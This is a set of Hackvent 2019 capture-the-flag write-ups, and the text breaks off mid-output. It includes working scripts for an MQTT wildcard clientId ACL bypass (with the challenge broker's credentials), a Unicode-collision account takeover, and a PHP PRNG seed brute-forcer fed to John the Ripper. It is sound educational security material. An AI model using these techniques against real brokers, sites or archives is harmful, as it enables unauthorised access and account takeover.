The webapp on http://whale.hacking-lab.com:2080/ generated a random, 16-digit clientId to connect to the MQTT broker at ws://whale.hacking-lab.com:9001. In my case, this was 123888932589762459
Due to stability problems, time is extended for +24h
I wrote a python client using https://pypi.org/project/paho-mqtt/ (also https://www.eclipse.org/paho/clients/python/ and https://www.eclipse.org/paho/files/jsdoc/Paho.MQTT.Client.html) to be able to play around in a bit more flexible fashion.
In the beginning, I had some trouble connecting to the broker, which was half due to the broker being down, half due to me, not changing the client's connection mode from tcp
to websocket
.
I started by using the clientId that was intended by the webapp (123888932589762459
).
Trying to subscribe to the "$SYS/#"
topic (see https://github.com/mqtt/mqtt.github.io/wiki/SYS-Topics), the following message was received:
$SYS/broker/versionmosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)
So, I need to be smarter than this. Also, looking at config.js
, there is a comment indicating that the flag could be the name of a sub-topic underneath my clientId's topic. Let's keep this in mind.
Checking the CVE (see https://nvd.nist.gov/vuln/detail/CVE-2017-7650) and its fix (see https://bugs.eclipse.org/bugs/attachment.cgi?id=268603&action=diff), one could see that any clientId containing one of [+#/]
(with +
and #
being MQTT wildcard operators, see https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.pla.doc/q005010_.htm) was not supposed to work. Let's check how the elves fixed that bug...
Setting the clientId to #
indeed prevented from connecting to the broker. However, setting it to abc/#
connects just fine.
After a couple of attempts, I got the following working solution.
Connect with:
clientid="123888932589762459/#" # or "123888932589762459/+"
topic="HV19/gifts/123888932589762459/#" # or topic="HV19/gifts/123888932589762459/+"
Remember that the topic we want is located underneath the HV19/gifts/123888932589762459
topic? Let's go for that.
This produces the following output:
log: Received PUBLISH (d0, q0, r0, m0), 'HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
2019-12-15 12:03:08.305653: HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} (0) b'Congrats, you got it. The elves should not overrate their smartness!!!' 0 0 - (0, 0)
log: Received PUBLISH (d0, q0, r0, m0), 'HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
2019-12-15 12:03:08.306256: HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} (0) b'Congrats, you got it. The elves should not overrate their smartness!!!' 0 0 - (0, 0)
log: Received PUBLISH (d0, q0, r0, m0), 'HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
2019-12-15 12:03:08.306764: HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} (0) b'Congrats, you got it. The elves should not overrate their smartness!!!' 0 0 - (0, 0)
log: Received PUBLISH (d0, q0, r0, m0), 'HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
2019-12-15 12:03:08.404884: HV19/gifts/123888932589762459/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} (0) b'Congrats, you got it. The elves should not overrate their smartness!!!' 0 0 - (0, 0)
Why does the clientId need to include the wildcard operator? This is because how the ACL is defined. Mosquitto lets you define an ACL in the form of pattern read HV19/gifts/%c
which allows each client to read only from topics matching the indicated prefix followed by their clientId.
Here's my very simple python client:
import paho.mqtt.client as mqtt
import datetime
# The callback for when the client receives a CONNACK response from the server.
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
client.subscribe(topic)
client.subscribe(topic+"/#")
def on_subscribe(client, userdata, mid, granted_qos, *args, **kwargs):
print(str(mid))
def on_log(client, userdata, level, buf):
print("log: ",buf)
# The callback for when a PUBLISH message is received from the server.
def on_message(client, userdata, msg):
timestamp=str(datetime.datetime.now())
print(timestamp + ": " + msg.topic+" ("+str(msg.mid)+") "+str(msg.payload)+" "+str(msg.dup)+" "+str(msg.qos)+" - "+str(msg.info))
clientid="123888932589762459/#"
topic="HV19/gifts/123888932589762459"
client = mqtt.Client(client_id=clientid, clean_session=True, transport='websockets')
client.on_connect = on_connect
client.on_subscribe = on_subscribe
client.on_message = on_message
client.on_log = on_log
client.username_pw_set('workshop', '2fXc7AWINBXyruvKLiX')
client.connect("whale.hacking-lab.com", 9001, 60)
print("Looping")
client.loop_forever()
Probably the simplest approach would have been to go to the webapp's local storage in the browser and edit the clientId value by appending /#
to the existing 16-digit value.
In the browser's network analysis tab, messages like the following can then be appreciated:
00000000: 308f 0100 4748 5631 392f 6769 6674 732f 0...GHV19/gifts/
00000001: 3132 3338 3838 3933 3235 3839 3736 3234 1238889325897624
00000002: 3539 2f48 5631 397b 4e30 5f31 6e70 7574 59/HV19{N0_1nput
00000003: 5f76 346c 3164 3474 3130 6e5f 3371 7534 _v4l1d4t10n_3qu4
00000004: 6c73 5f64 3173 3473 7433 727d 436f 6e67 ls_d1s4st3r}Cong
00000005: 7261 7473 2c20 796f 7520 676f 7420 6974 rats, you got it
00000006: 2e20 5468 6520 656c 7665 7320 7368 6f75 . The elves shou
00000007: 6c64 206e 6f74 206f 7665 7272 6174 6520 ld not overrate
00000008: 7468 6569 7220 736d 6172 746e 6573 7321 their smartness!
00000009: 2121 !!
HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}
Author | Level | Categories |
---|---|---|
hardlock | hard | fun |
Santa has coded a simple project for you, but sadly he removed all the operations. But when you restore them it will print the flag!
First, I started skimming through the binary with Ghidra, only to find these NOP sleds somewhere after address 0x00401000.
I quickly thought that patching the binary was probably easier than analysing it in a static way or even calculating the functions while running a debugger.
So, I spent some time)to find out how to patch a Windows PE binary file - never done that so far. OllyDbg was the candidate of choice.
OllyDbg allows one to write assembly code which is assembled on the fly.
I added the 4 functions in assembly code and "B0rked Calc" produced the flag.
See the screenshot for details:
HV19{B0rked_Flag_Calculat0r}
Software to edit other software (binary patching):
Author | Level | Categories |
---|---|---|
scryh | hard | fun |
Buy your special gifts online, but for the ultimative gift you have to become admin.
http://whale.hacking-lab.com:8881/
After registering with the given portal, one had access to the source code of the page:
<?php
if (isset($_GET['show'])) highlight_file(__FILE__);
/**
* Verifies user credentials.
*/
function verifyCreds($conn, $username, $password) {
$usr = $conn->real_escape_string($username);
$res = $conn->query("SELECT password FROM users WHERE username='".$usr."'");
$row = $res->fetch_assoc();
if ($row) {
if (password_verify($password, $row['password'])) return true;
else addFailedLoginAttempt($conn, $_SERVER['REMOTE_ADDR']);
}
return false;
}
/**
* Determines if the given user is admin.
*/
function isAdmin($username) {
return ($username === 'santa');
}
/**
* Determines if the given username is already taken.
*/
function isUsernameAvailable($conn, $username) {
$usr = $conn->real_escape_string($username);
$res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");
$row = $res->fetch_assoc();
return (int)$row['cnt'] === 0;
}
/**
* Registers a new user.
*/
function registerUser($conn, $username, $password) {
$usr = $conn->real_escape_string($username);
$pwd = password_hash($password, PASSWORD_DEFAULT);
$conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");
}
/**
* Adds a failed login attempt for the given ip address. An ip address gets blacklisted for 15 minutes if there are more than 3 failed login attempts.
*/
function addFailedLoginAttempt($conn, $ip) {
$ip = $conn->real_escape_string($ip);
$conn->query("INSERT INTO fails (ip) VALUES ('".$ip."')");
}
?>
From the given source code it was clear that we had to become "santa" (which is re-named "admin"). My first focus was on the real_escape_string
function, but despite being not very restrictive, it didn't leverage an SQL injection.
Second, I noticed these strange upper-/lowercase transformations, which seemed odd. Let's try to go after them. The challenge's name was about "unicode", so let's have a loo kat the intrsection of SQLi and Unicode.
After some research (https://bugs.mysql.com/bug.php?id=19567) on MySQL vulnerabilities, it became clear that case transforms are not done correctly. An "รค", if transformed to uppercase, becomes an "A" (just like a regular "a"). Another variant would have been to use ลฟ
which becomes S
when transformed to uppercase. The following link lists qute some of these unicode collisions: https://eng.getwisdom.io/awesome-unicode/
With that, we could create a user "sรคntรค", and with that update the "santa" user's password, which lets one log in with the newly set password and get the flรคg.
Fun fact: On that same day, there was an article on the HackerNews frontpage about "Hacking GitHub" with unicode characters. Turns out, copy&pasting from that article the charcter "ลฟ" (which becomes an "S" if turned into upper case) solved that day's challenge, too. Feel free, if you want to participate in the discussion.
HV19{h4v1ng_fun_w1th_un1c0d3}
Author | Level | Categories |
---|---|---|
hardlock | hard | fun; crypto; reverse engineering |
Santa had some fun and created todays present with a special dance. this is what he made up for you:
096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15
Dance with him to recover the flag.
After unzipping, a file named dance
was presented. This file apparently was a Debian package:
$ dpkg --contents dance
drwxr-xr-x root/wheel 0 2019-12-14 13:52 .
drwxr-xr-x root/wheel 0 2019-12-14 13:52 ./usr
drwxr-xr-x root/wheel 0 2019-12-14 13:52 usr/bin
-rwxr-xr-x root/wheel 197728 2019-12-14 13:52 usr/bin/dance
Once unpacked (with dpkg-deb -x
), an ARMv7 executable was written to disk:
$ file dance
dance: Mach-O universal binary with 3 architectures: [armv7:Mach-O armv7 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
Meanwhile, the challenge author provided the following iPhone screenshot along with the hint: "just a big hint maybe: dance is nothing home made. its a public algorithm and when you understood that, it should be rather easy"
In parallel, with mcia we brainstormed some "dance-y" ciphers. We came up with Salsa20, ChaCha20, Rumba20, etc.
In the decompiled version of the binary (pay attention to the architecture, it's 64-bit), somewhere in the __dance_words
function, bits were shifted to the right by 0x19, 0x17 and 0x13 positions. On a word value, which is 32 bit wide (the value of a register), this corresponds to bit shifts to the left by 0x7, 0x9 and 0xD poistions, which is exactly what Salsa20 does.
So, let's assume it's Salsa20. With this assumption, we can go back to the main method and find out about the nonce and the secret being used.
Finding the nonce is pretty straight forward. There is an immediate value (0xb132d0a8e78f4511
) passed to the _dance
function.
The secret gets loaded between addresses 0x0100007da4 and 0x0100007dbc. There, a memory location is stored in x8 using an immediate value. After the nop
instruction, two quad-word registers (2 * 4 * 32 bit = 32 bytes) are populated and stored on the stack. This happens a second time without offset, and that's when our secret gets loaded.
Finally, the secret is 0x0320634661b63cafaa76c27eea00b59bfb2f7097214fd04cb257ac2904efee46
.
To solve, I wrote a python solver leveraging PyCryptodome's Salsa20 implementation:
#!/usr/bin/env python
from Cryptodome.Cipher import Salsa20
import base64
nonce = base64.b16decode(b'11458fe7a8d032b1', casefold=True)
secret = base64.b16decode(b'0320634661b63cafaa76c27eea00b59bfb2f7097214fd04cb257ac2904efee46', casefold=True)
# Confirm the hint; needs to print the cleartext again
cipher = Salsa20.new(key=secret, nonce=nonce)
test_cleartext = b"fakeflagfakeflag"
test_ciphertext = base64.b16decode(b'275b8e1af6e0e0442a8e2c99dd7032231a', casefold=True)
print(cipher.decrypt(test_ciphertext))
ciphertext = base64.b16decode(b'096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15', casefold=True)
cipher = Salsa20.new(key=secret, nonce=nonce)
print(str(cipher.decrypt(ciphertext)))
# Prints the flag: HV19{Danc1ng_Salsa_in_ass3mbly}
For going through the assembly, http://infocenter.arm.com/help/index.jsp was a good resource to understand what's going on.
Also, it was crucial to configure the right architecture (AArch64
) to be used by the disassembler.
HV19{Danc1ng_Salsa_in_ass3mbly}
Author | Level | Categories |
---|---|---|
M. | hard | fun |
๐๐๐ถ๐ค๐๐ฆ๐๐๐ฐ๐๐ฅ๐ผ๐ฉ๐ฅฉ๐ตโบโ๏ธ๐ฅ๐๐๐ฅ๐๐๏ธ๐ง๐๐ช๐๐๐๐๐๐๐๐ท๐ถ๐๐ฆ๐ฉ๐๐ฉโ๏ธ๐๐ฅ๐ฆ๐ฃ๐๐ฅจ๐บ๐ฅฏ๐ฝ๐๐ ๐๐๐๐๐๐ญ๐ท๐ฆ๐ดโช๐คง๐๐๐ฅ๐๐งฆ๐คฌ๐ฒ๐๐ฏ๐ฅถโค๏ธ๐๐ฏ๐๐๐๐ป๐ฑ๐๐๐๐ป๐ฌ๐จ๐ฑ๐ฒ๐พ๐ฟ๐งฎ๐ฅ๐๐๐ก๐ฆ๐ฎ๐๐๐๐๐ค๐ป๐ด๐๐๐ฅ๐๐ฉ๐๐ฐ๐๐๐๐๐ท๐ฐโด๐ด๐ธ๐๐ฅถ๐ณ๐๐๐๐ฅณ๐๐๐๐ฅด๐ ๐๐๐๐๐โ๐ฐ๐ทโณ๐๐จ๐ ๐งฒ๐ง๐๐งช๐๐งฌ๐ฌ๐ญ๐ก๐คช๐๐๐๐๐๐ฝ๐ฟ๐งด๐งท๐ฉ๐งน๐งบ๐บ๐งป๐๐งฏ๐๐ฌ๐๐ฝ๐๐งฐ๐ฟ๐ท๐ฅ๐ฏ๐ฑ๐ฎ๐ฐ๐ฒ๐๐ฅต๐งฉ๐ญ๐จ๐งต๐งถ๐ผ๐ค๐ฅ๐ฌ๐น๐๐พ๐๐๐ช๐ฅ๐๐๐ฆ๐๐๐ค ๐ณ๐งซ๐๐ฅ๐ก๐ผ๐คข๐ท๐๐โจ๐๐๐คฏ๐๐ฆ ๐ฆ๐คฎ๐๐ฅ๐ญ๐ฝโฒ๐ฏ๐๐๐๐๐๐๐ต๐ฆ๐งโต๐ณ๐บ๐ ๐ฐ๐๐ค๐๐ค๐คก๐บ๐ค๐๐๐ง ๐๐ด๐ค๐ค โ๏ธโก๏ธ ใ ๐๐ฏ๐๐ข๐๐ธโ๏ธโก๏ธ ๐๐ใท ๐ โ ๐โฉโฉ ๐๐จ๐โ๏ธ ๐ใโ๏ธโ๏ธ ๐ โ โก๏ธ๐ฝ ใท ๐ฝ ใ โโ๏ธโ๏ธ๐ ๐ถ๐ค๐ด๐๐ฆ๐บ๐๐๐๐๐๐๐ฆโค๏ธ๐ฉ๐โค๏ธ๐๐๐ฉ๐๐ฎ๐๐พโช๐บ๐ฅฏ๐ฅณ๐ค โ๏ธโก๏ธ ๐ ๐ถ๐ค๐๐ก๐งฐ๐ฒ๐ค๐๐งฉ๐คก๐ค โ๏ธโก๏ธ ๐ ผ ๐ ๐ค ๐ โก๏ธ ๐ ๐ปโ๏ธ โก๏ธ ๐๐ฉ ๐คโ๏ธ๐๐ช ๐ ๐ก ๐๐ผโ๏ธ๐๐จ๐โ๏ธ๐๐จ๐๐โ๏ธโ๏ธโ๏ธ โก๏ธ ๐ผ โช๏ธ๐๐ผโ๏ธ๐ ๐๐จ๐โ๏ธ๐๐คฏ๐๐ป๐ค๐๐คโ๏ธ๐ โฃ๏ธ๐๐๐ง ๐๐๐ โ๏ธโ๏ธโก๏ธ โ๐ โ ๐โฉโฉ๐๐จ๐โ๏ธ๐๐ โ๏ธโ๏ธ๐๐ฝ ใท ๐ฝ ๐ โโ๏ธโ๏ธ โก๏ธ โ๐ฝ ๐ผ โ ๐ฎ๐๐ผโ๏ธโ๏ธโก๏ธ ^๐ง๐บโโ๐ใโ๏ธโ๐๐จ๐๐๐โ๏ธโ๏ธโ^โ๐งโโ๏ธโก๏ธ โ โช๏ธ โ โ ๐๐ ผโ๏ธ๐คโ๐บ๐ฝ ใท ๐ฝ ๐ ผ โโ๏ธโ๏ธโ ๐ค๐ค ๐๐ โ๏ธโ๐๐ โ๏ธโ๐๐ผโ๏ธโ๐๐ ผโ๏ธโ๐๐จ๐๐โ๏ธ๐คโ๐๐จ๐๐๐๐โ๏ธ๐ค ๐ ๐ขโโ๏ธโ๏ธ๐ ๐คฏ๐๐ป๐ค๐๐คโ๏ธ๐โโ โ โ ๐๐จ๐๐โ๏ธโ๏ธ๐๐ก๐๐๐ง โ ๐๐ โ๏ธโ๏ธโ๏ธโก๏ธ โโช๏ธโ ๐ ๐คทโโ๏ธ๐๐คฏ๐๐ป๐ค๐๐คโ๏ธ๐๐๐บโโ๏ธ๐ ๐
Emojis, yay! Well, with Hackvent you get used to search for things by appending "vulnerability" or "lang". So it was in this case. Not loong after starting the work, I stumbled on https://www.emojicode.org/ (not to be confused with Mozilla's https://codemoji.org/).
On that page, one can learn about programming with emojis. Which, to be honest, is not reeeaally something that you'd use in your everyday's work.
After compiling the above program withe the provided codec, an executable was generated. It printed a couple of emojis and expected an input:
๐ โก๏ธ ๐ ๐ปโ๏ธ โก๏ธ ๐๐ฉ
Which can probably be read as "things are locked, then Santa does something, then there's Christmas and a flag.".
If a wrong input was supplied, a ๐คฏ was displayed.
After some "source code" reversing and with a bit of luck, I found out, that there was only one character expected.
With some guessing (which could probably be done through brute forcing), I found out a ๐ was expected, which then printed the flag.
HV19{*<|:-)____\o/____;-D}
Author | Level | Categories |
---|---|---|
hardlock | hard | fun |
Santa was spying you on Discord and saw that you want something weird and obscure to reverse?
your wish is my command.
It looks like this is a Playstation 4 binary, running - well - something.
Opening it with Hopper resulted in a bunch of garbage. Ghidra provided a much better disassembly out of the box, but still with some issues. For example, the .rdata
section was incorrectly addressed with 0x229b
instead of 0x2000
. I'm still unsure why this happened.
Looking at the main routine, a file was being hashed with an MD5 hash. The result was compared with some expected value.
After that, values were read in from specific positions in the file, starting at 0x1337
and incrementing by 0x1337
. These values were used to repeatedly XOR a value that originally was 0xce55954e38c589a51b6f5e25d21d2a2b5e7b39148ed0f0f8f8a5
, taken from address 0x2000
.
To find the file that was read, I had a look at the .rdata
section. There was only one more string that satisfies an MD5 string, which is always 32 characters long.
Also, an analysis with strings
lead to the conclusion, that the MD5 hash had something to do with the PS4UPDATE.PUP
file:
$ strings game | head -n 45 | tail -n 10
libkernel.sprx
sceKernelGetIdPs
sceKernelGetOpenPsIdForSystem
/mnt/usb0/PS4UPDATE.PUP
%02x
f86d4f9d2c049547bd61f942151ffb55
GCC: (GNU) 7.4.0
.file
main.c
rSyscall
Indeed, a quick DuckDuckGo search for f86d4f9d2c049547bd61f942151ffb55 PS4UPDATE.PUP
popped the following page: http://wololo.net/2018/05/28/how-to-update-your-ps4-to-firmware-5-05/
I re-implemented the algo with a small python script:
#!/usr/bin/env python
import base64
# From game:0x2000
v = base64.b16decode(b'ce55954e38c589a51b6f5e25d21d2a2b5e7b39148ed0f0f8f8a5', casefold=True)
# File needs to have md5 f86d4f9d2c049547bd61f942151ffb55
# find it at http://wololo.net/2018/05/28/how-to-update-your-ps4-to-firmware-5-05/
filename = 'PS4UPDATE.PUP'
pos = 0x1337
with open(filename, mode='rb') as f:
while pos != 0x1714908:
f.seek(pos)
bs = f.read(0x1a)
v = bytes([a ^ b for a,b in zip(v, bs)])
pos += 0x1337
print(v)
# Prints "b'HV19{C0nsole_H0mebr3w_FTW}'"
This was a really cool challenge, as one thing lead to another in a really smooth way.
HV19{C0nsole_H0mebr3w_FTW}
Author | Level | Categories |
---|---|---|
hardlock | hard | fun; crypto |
Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.
This is his public key:
X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
To make sure this is safe, he used the NIST P-256 standard.
But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:
pbkdf2_hmac
, salt: "TwoHundredFiftySix", iterations: 256*256*256
Phew - Santa seems to know his business - or can you still recover this flag?
Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=
The following image illustrates the problem at hand and shows, that the symmetric key used to encrypt the flag is protected via the elliptic curve key pair. In ECC, public and private keys are related through the given curve's (NIST P-256
) base point G
.
The core problem here is, that the key generation with PBKDF2 HMAC and the given parameters is computationally expensive. So, we have to find a different way to find the right password/key.
To start, I tried to leverage the given information about the password.
A quick DuckDuckGo search for 10 year old password breaches brings up the RockYou breach, including over 30 Millions passwords. Since that name rang a bell, I checked the wordlists included with Kali, and indeed, there was a rockyou.txt. Filtering passwords with 16 characters results in ~118k single passwords.
After some trying around, I decided to check whether a curve can be constructed with the given parameters. To do so, I generated a SHA256 hash for every 16-character password and attempted to construct an ECC key in combination with the given public key for each of these.
Passwords that produce an hash value that does not match the given public key will fail the curve construction.
Only one password did not throw an error: santacomesatxmas
(what else...)
With that password, I generated a key using PBKDF2.
To conclude, I decrypted the given ciphertext with AES ECB-mode (ECB mode does not require an IV or a nonce, so it's usually the first thing to try if nothing is given).
I liked this challenge a lot, since it allowed me to dive a bit deeper than usual into elliptic curve cryptography.
HV19{sry_n0_crypt0mat_th1s_year}
G
(see https://safecurves.cr.yp.to/base.html)n
is the private key and n*G
is the public key (see https://www.embedded.com/an-introduction-to-elliptic-curve-cryptography/)p
that is prime.Author | Level | Categories |
---|---|---|
inik | leet | fun; reverse engineering |
Introduction Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR. Unfortunately Santa lost the source code for it and doesn't remember the command needed to send to the sledge. The only thing left is this file: thecommand7.data
Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it's on you to help out Santa.
Many things seemed possible with this bunch of strangely connected strings. The pattern, however, is recurring: a colon in the beginning of the line and then some 42 hex characters.
Searching for the first line of this file revealed that it was a so-called hex file.
Searching a bit further, I found out that one could dump an Arduino's flash memory and the resulting data was a hex-file. Things also worked the other way around. So, I tried flashing my Arduino with that program - and things worked... I think, at least. Because effectively I did not get any output, neither on the serial interface, nor on any board LED (I did not wire anything).
For flashing the hex program on my Arduino, I used the following command:
avrdude -C/usr/share/arduino/hardware/tools/avrdude.conf -v -v -v -v -patmega328p -carduino -P/dev/ttyACM0 -b115200 -D -Uflash:w:./thecommand7.data:i
This has got to work in a different way...
I tried disassembling/decmpiling the program in a static way:
With Ghidra...
89e 44f -> 0
89f 227 -> ?
8a0 450 -> 1
8a1 228 -> ...
...
With avr-objdump (produces wrong output):
avr-objdump -D -m avr5 thecommand7.data > thecommand7.asm
With little success. So I proceeded:
Debugging the program seemed more promising. As I'm not equipped to do HW debugging. I had to look for a simulator. I found the following tool:
OshonSoft.com AVR Simulator IDE (see https://www.oshonsoft.com/avr.html)
By closely observing memory mutations, I noticed that there were printable characters at 0x100. Right after that section, things were initialized to 0x20. However, when keeping an eye on that part of the memory, things suddenly started changing. Thanks to the OshonSoft simulator, execution speed could be slowed down, so that I could stop the program at the right point.
There was the flag, starting at Internal data SRAM address 0x117(-0x142):
48 56 31 39 7b 48 33 79 5f 53 6c 33 64 67 33 5f 6d 33 33 74 5f 6d 33 5f 61 74 5f 74 68 33 5f 6e 33 78 74 5f 63 30 72 6e 33 72 7d
This data got loaded into memory starting at address 0x0357 in the .text section.
ATmega328 is an avr5
architecture (see https://www.microchip.com/webdoc/AVRLibcReferenceManual/using_tools_1using_avr_gcc_mach_opt.html)
Side note on the AVR "abbreviation":
Atmel says that the name AVR is not an acronym and does not stand for anything in particular. The creators of the AVR give no definitive answer as to what the term "AVR" stands for.[3] However, it is commonly accepted that AVR stands for Alf and Vegard's RISC processor.[7] Note that the use of "AVR" in this article generally refers to the 8-bit RISC line of Atmel AVR Microcontrollers.
Source: https://en.wikipedia.org/wiki/AVR_microcontrollers
Conclusion: Stumbling over the solution is a way, too.
Credits to mcia for helping me in keeping short the search for a suitable AVR/Arduino simulation/debugging tool.
HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}
Author | Level | Categories |
---|---|---|
M. | leet | fun |
Today's flag is available in the Internet Data Archive (IDA).
http://whale.hacking-lab.com:23023/
The Internet Data Archive allows to download Hackvent challenges from previous years. Every zip that is downloaded is encrypted with a different password.
After trying out the service, I noticed that username santa
made the zip generation break.
I therefore checked, where zips are downloaded from. It turns out, archives were downloaded from http://whale.hacking-lab.com:23023/tmp/, which was even configured as an indexed directory.
Sorting by timestamp uncovered the aldest of all zip files: Santa-data.zip
. And also a phpinfo.php
file - yay!
Knowing that a new password was generated every time a zip was requested, it was probable, that we had to analyse passwords to be able to come to conclusions about how Santa's file was encrypted.
One thing to note is, that zip-files were encrypted with AES-128, which is what 7zip uses by default, I think,
Here are a couple of passwords:
pA5XVaDjsXuU
W6WtwyyVaHvg
kVevKfXHpJyb
PSaZpTVYPPBH
qdCym8cq97Zf
UVuQDbKHEuvv
LZzKrb7dkW2c
mw7YCuEL4r6q
wUWVSQQ8B9hk
BhcwkmsGrKyk
PBUXS9MJqi2C
m9FwV4kVdARQ
WyDd4zhZYRJ4
BPhQDDcUJVX6
Sc8gYjTFzha8
qkSxA3dxMv6f
UBPLhRYVAWEQ
8tLFFaRi3XTf
Ep3d6yZGDKgb
FxvvJpavwSvr
vbMDrBfFKjUE
A3Y8f4Yvcwyz
Hzx8WzXuaf4F
YVdaxXwJSkFs
DECzwgapPE6q
645t8TE2H7pX
Yypyb5weMLZq
DfbgWggFYA3R
Analysing this resulted in the following alphabet used for passwords: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
It's not super-obvious, but characters 0, 1, I, N, O, l (lowercase L), n, and o are missing.
Fast-forwarding over multiple hours of confusion: There was a hint on Discord, that the title of the challenge had an important role here. So a DuckDuckGo (or was it the other one?) search for IDA-PRO 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
led to https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/. In that article, the same password format as in our challenge could be found. A strong indicator that we're on the right path. There, a team described how they broke IDA Pro's Pseudo Random Number Generator (PRNG) with brute force by trying out multiple programming languages and iterating over seeds.
In contrast to that team, we already knew about the programming language used and, thanks to phpinfo, even what version of PHP is generating passwords (7.4.1) and the PRNG in use ("Mersenne Twister").
Another thing to note is, that PHP's srand(seed)
function casts down all seeds to a size 32 bit, so it's pointless to go beyond PHP's PHP_INT_MAX value.
So all that remains to do, is to find the right seed for the PRNG.
To do so, I created a PHP script seeding the PRNG and generating one random number (with all 6 possible alphabets):
<?php
$alphabets = array(
0 => "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789",
1 => "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ",
2 => "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz",
3 => "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ",
4 => "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789",
5 => "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz"
);
function generateString($seed, $alphabet)
{
srand($seed);
$pwd = "";
for ($j=0; $j < 12; $j++) {
$val = rand(0,strlen($alphabet)-1);
$pwd .= $alphabet[$val];
}
fwrite(STDERR, "" . $seed . " " . $alphabet . " " . $pwd . "\n");
print($pwd);
print("\n")
}
$start = 0;
for ($i=$start; $i < PHP_INT_MAX; $i++) {
fwrite(STDERR, "$i\n");
for ($a=0; $a < sizeof($alphabets); $a++) {
generateString($i, $alphabets[$a]);
}
}
?>
This script was then combined with John the Ripper, the zip password cracking tool:
zip2john -o flag.txt Santa-data.zip > flag.txt.passwd.txt
php solver.php 2>seeds2 | john --stdin flag.txt.passwd.txt
With this, I was able to find that the used seed was 4333287
, the right alphabet was abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
and the encryption password was Kwmq3Sqmc5sA
.
With that, we could unzip the file and read the contents of flag.txt
.
Credits go once more to mcia. He cross-checked my script (after he found the flag, obviously) and sent me a link that allowed me to discover, that in PHP rand() % 54
is not the same as rand(0, 54)
*facepalm*.
HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}
Author | Level | Categories |
---|---|---|
DrSchottky | leet | fun; reverse engineering |
Elves built for santa a special radio to help him coordinating today's presents delivery.
Resources: HV19-ham radio.zip
Disclaimer: Actions described hereafter happened, but not necessarily in this order. This is due to the author's lack of experience in reverse engineering and, hence, the educative approach taken.
DuckDuckGo-ing for the binary's name resulted in many articles about a Broadcom wifi chip. Also, there were many references to Raspberry Pi Model 3. Turns out it's the RAM part of a wifi chip firmware used on some RPi models. Since all attempts to load the binary into a disassembler more or less failed (due to insufficient information on CPU architecture), I checked the architecture of my own RPi.
root@raspberrypi:/home/pi# lscpu
Architecture: armv7l
Byte Order: Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Thread(s) per core: 1
Core(s) per socket: 4
Socket(s): 1
Vendor ID: ARM
Model: 4
Model name: Cortex-A53
Stepping: r0p4
CPU max MHz: 1200.0000
CPU min MHz: 600.0000
BogoMIPS: 38.40
Flags: half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm crc32
Providing the Ghidra disassembler with this information resulted in meaningful assembly code. (Side note: Hopper seemed to produce only garbage in the beginning, but providing a base address and entry point of 0x0 combined with the above architecture information gave better results, equivalent to Ghidra).
binwalk -Y
(which can be used to identify a binary's target architecture) was not helpful in this case:
$ binwalk -Y brcmfmac43430-sdio.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
327 0x147 ARM executable code, 16-bit (Thumb), big endian, at least 555 valid instructions
Meanwhile, I checked the binary for cleartext strings, which is always a good thing. In the end of file, the following coud be found:
$ strings brcmfmac43430-sdio.bin | tail -n 20
%7`%p
8hyh
8iyi
AF3FHF
2F(F
